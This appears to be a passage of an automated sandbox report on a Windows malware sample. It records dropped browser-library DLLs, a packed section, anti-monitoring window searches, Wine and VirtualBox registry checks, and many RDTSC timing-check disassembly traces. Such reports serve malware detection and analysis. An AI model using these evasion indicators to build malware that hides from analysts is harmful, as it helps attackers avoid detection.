Static PE information: section name: wcmalsok entropy: 7.954090328686937

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5F55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5F55F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DA507 second address: 10DA529 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4ADh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F227C74F4A6h 0x0000000f jmp 00007F227C74F4ABh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DEE2A second address: 10DEE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF0DD second address: 10DF0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF0E1 second address: 10DF0FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF264 second address: 10DF26A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF26A second address: 10DF26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF26E second address: 10DF294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F227C74F4A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF3FE second address: 10DF413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jno 00007F227C7FC3DEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF413 second address: 10DF463 instructions: 0x00000000 rdtsc 0x00000002 je 00007F227C74F4AAh 0x00000008 jbe 00007F227C74F4C1h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F227C74F4B3h 0x00000018 jmp 00007F227C74F4ABh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2706 second address: 10E2718 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2718 second address: 10E271E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E271E second address: 10E2728 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F227C7FC3DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2728 second address: 10E2742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jmp 00007F227C74F4AEh 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2742 second address: 10E27CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jne 00007F227C7FC3E3h 0x00000013 pop eax 0x00000014 sub dword ptr [ebp+122D1805h], esi 0x0000001a push 00000003h 0x0000001c movzx edi, cx 0x0000001f push 00000000h 0x00000021 call 00007F227C7FC3E2h 0x00000026 mov ecx, dword ptr [ebp+122D18E8h] 0x0000002c pop esi 0x0000002d push 00000003h 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007F227C7FC3D8h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 push 9EEF2CE4h 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 pushad 0x00000052 popad 0x00000053 pushad 0x00000054 popad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E27CE second address: 10E2806 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 5EEF2CE4h 0x00000010 mov dword ptr [ebp+122D187Ch], esi 0x00000016 lea ebx, dword ptr [ebp+12448603h] 0x0000001c mov dx, di 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 jl 00007F227C74F4A8h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2806 second address: 10E2841 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F227C7FC3E6h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F227C7FC3E8h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E28BB second address: 10E28E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F227C74F4ADh 0x00000009 popad 0x0000000a js 00007F227C74F4B4h 0x00000010 jmp 00007F227C74F4AEh 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E28E7 second address: 10E2921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F227C7FC3E3h 0x00000009 popad 0x0000000a jmp 00007F227C7FC3DAh 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F227C7FC3E0h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2921 second address: 10E2941 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F227C74F4B3h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2941 second address: 10E29ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jmp 00007F227C7FC3DAh 0x0000000f pop eax 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F227C7FC3D8h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov cx, 83C1h 0x0000002e jmp 00007F227C7FC3E3h 0x00000033 push 00000003h 0x00000035 mov edx, 667A57DFh 0x0000003a push 00000000h 0x0000003c mov edx, dword ptr [ebp+122D2C85h] 0x00000042 push 00000003h 0x00000044 mov dword ptr [ebp+122D189Ah], edi 0x0000004a push B48F024Bh 0x0000004f jmp 00007F227C7FC3DFh 0x00000054 add dword ptr [esp], 0B70FDB5h 0x0000005b pushad 0x0000005c mov esi, 1E3CAAC2h 0x00000061 or cx, FB7Dh 0x00000066 popad 0x00000067 lea ebx, dword ptr [ebp+1244860Ch] 0x0000006d mov ch, 35h 0x0000006f push edx 0x00000070 pushad 0x00000071 add dword ptr [ebp+122D198Ah], eax 0x00000077 jno 00007F227C7FC3D6h 0x0000007d popad 0x0000007e pop edi 0x0000007f xchg eax, ebx 0x00000080 pushad 0x00000081 push eax 0x00000082 push edx 0x00000083 push esi 0x00000084 pop esi 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E29ED second address: 10E29F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E29F1 second address: 10E2A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F227C7FC3D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2A07 second address: 10E2A0D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2A0D second address: 10E2A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2A13 second address: 10E2A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2A93 second address: 10E2AA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2AA2 second address: 10E2AAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F227C74F4A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2AAC second address: 10E2ABE instructions: 0x00000000 rdtsc 0x00000002 jns 00007F227C7FC3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2ABE second address: 10E2AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2AC2 second address: 10E2B01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D18F0h], edi 0x00000011 xor si, 9FB8h 0x00000016 push 00000000h 0x00000018 mov edx, dword ptr [ebp+122D2B85h] 0x0000001e call 00007F227C7FC3D9h 0x00000023 push eax 0x00000024 push edx 0x00000025 js 00007F227C7FC3D8h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2B01 second address: 10E2B18 instructions: 0x00000000 rdtsc 0x00000002 js 00007F227C74F4A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007F227C74F4B8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2B18 second address: 10E2B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2B1C second address: 10E2B38 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F227C74F4A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F227C74F4ACh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2B38 second address: 10E2BC6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F227C7FC3D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jng 00007F227C7FC3E3h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jp 00007F227C7FC3E5h 0x0000001c pop eax 0x0000001d jmp 00007F227C7FC3E1h 0x00000022 push 00000003h 0x00000024 sub dword ptr [ebp+122D2766h], edi 0x0000002a adc esi, 4FA61B48h 0x00000030 push 00000000h 0x00000032 mov edx, dword ptr [ebp+122D1DB1h] 0x00000038 push 00000003h 0x0000003a push 00000000h 0x0000003c push eax 0x0000003d call 00007F227C7FC3D8h 0x00000042 pop eax 0x00000043 mov dword ptr [esp+04h], eax 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc eax 0x00000050 push eax 0x00000051 ret 0x00000052 pop eax 0x00000053 ret 0x00000054 call 00007F227C7FC3D9h 0x00000059 push edi 0x0000005a push edi 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2BC6 second address: 10E2BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2BD1 second address: 10E2BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jo 00007F227C7FC3D6h 0x00000015 jmp 00007F227C7FC3E6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2BFD second address: 10E2C03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2C03 second address: 10E2C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2C07 second address: 10E2C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push ecx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 js 00007F227C74F4B8h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2C27 second address: 10E2C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104123 second address: 110412B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C4741 second address: 10C478A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F227C7FC3D6h 0x0000000a jne 00007F227C7FC3D6h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F227C7FC3DFh 0x00000018 pushad 0x00000019 popad 0x0000001a push edx 0x0000001b pop edx 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pushad 0x00000020 jnc 00007F227C7FC3D6h 0x00000026 jmp 00007F227C7FC3E7h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102044 second address: 1102069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F227C74F4B9h 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102332 second address: 1102350 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3E4h 0x00000007 jbe 00007F227C7FC3D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11025A7 second address: 11025B1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F227C74F4A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11025B1 second address: 11025BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jp 00007F227C7FC3D6h 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102904 second address: 1102909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102A5A second address: 1102A64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F227C7FC3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102A64 second address: 1102A68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102A68 second address: 1102AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F227C7FC3E8h 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F227C7FC3E9h 0x00000016 jbe 00007F227C7FC3D6h 0x0000001c popad 0x0000001d push eax 0x0000001e jbe 00007F227C7FC3D6h 0x00000024 pop eax 0x00000025 pushad 0x00000026 je 00007F227C7FC3D6h 0x0000002c jl 00007F227C7FC3D6h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6EB4 second address: 10D6ED0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6ED0 second address: 10D6ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11032FA second address: 1103317 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F227C74F4B7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1103317 second address: 110331B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1103CB2 second address: 1103CD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F227C74F4B1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F227C74F4ACh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1103F33 second address: 1103F47 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnl 00007F227C7FC3D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F227C7FC3D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A962 second address: 110A968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A968 second address: 110A96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A96D second address: 110A972 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A972 second address: 110A982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110919C second address: 11091AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a jp 00007F227C74F4ACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110AB8B second address: 110AB91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
